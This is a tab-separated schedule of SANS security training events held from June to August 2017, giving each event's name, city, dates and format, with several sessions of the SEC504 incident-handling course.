Community SANS Virginia Beach SEC504*	Virginia Beach, VA	Jun 05, 2017 - Jun 10, 2017	Community SANS
SANS San Francisco Summer 2017	San Francisco, CA	Jun 05, 2017 - Jun 10, 2017	Live Event
SANS Rocky Mountain 2017	Denver, CO	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Charlotte 2017	Charlotte, NC	Jun 12, 2017 - Jun 17, 2017	Live Event
SANS Rocky Mountain 2017 - SEC504: Hacker Tools, Techniques, Exploits and Incident Handling	Denver, CO	Jun 12, 2017 - Jun 17, 2017	vLive
Mentor Session - SEC504	Reston, VA	Jun 13, 2017 - Aug 01, 2017	Mentor
SANS Minneapolis 2017	Minneapolis, MN	Jun 19, 2017 - Jun 24, 2017	Live Event
SANS Columbia, MD 2017	Columbia, MD	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS Paris 2017	Paris, France	Jun 26, 2017 - Jul 01, 2017	Live Event
SANS Cyber Defence Canberra 2017	Canberra, Australia	Jun 26, 2017 - Jul 08, 2017	Live Event
SANS London July 2017	London, United Kingdom	Jul 03, 2017 - Jul 08, 2017	Live Event
Cyber Defence Japan 2017	Tokyo, Japan	Jul 05, 2017 - Jul 15, 2017	Live Event
Community SANS Seattle SEC504	Seattle, WA	Jul 10, 2017 - Jul 15, 2017	Community SANS
SANS ICS & Energy-Houston 2017	Houston, TX	Jul 10, 2017 - Jul 15, 2017	Live Event
SANS Los Angeles - Long Beach 2017	Long Beach, CA	Jul 10, 2017 - Jul 15, 2017	Live Event
SANS Cyber Defence Singapore 2017	Singapore, Singapore	Jul 10, 2017 - Jul 15, 2017	Live Event
Community SANS Ottawa SEC504	Ottawa, ON	Jul 17, 2017 - Jul 22, 2017	Community SANS
Community SANS Sacramento SEC504	Sacramento, CA	Jul 17, 2017 - Jul 22, 2017	Community SANS
SANSFIRE 2017	Washington, DC	Jul 22, 2017 - Jul 29, 2017	Live Event
Community SANS Annapolis SEC504	Annapolis, MD	Jul 24, 2017 - Jul 29, 2017	Community SANS
Community SANS Phoenix SEC504	Phoenix, AZ	Jul 24, 2017 - Jul 29, 2017	Community SANS
Community SANS Des Moines SEC504	Des Moines, IA	Jul 24, 2017 - Jul 29, 2017	Community SANS
Security Awareness Summit & Training 2017	Nashville, TN	Jul 31, 2017 - Aug 09, 2017	Live Event
SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
Community SANS Raleigh SEC504	Raleigh, NC	Aug 07, 2017 - Aug 12, 2017	Community SANS
SANS New York City 2017	New York City, NY	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS Salt Lake City 2017	Salt Lake City, UT	Aug 14, 2017 - Aug 19, 2017	Live Event
SANS Chicago 2017	Chicago, IL	Aug 21, 2017 - Aug 26, 2017	Live Event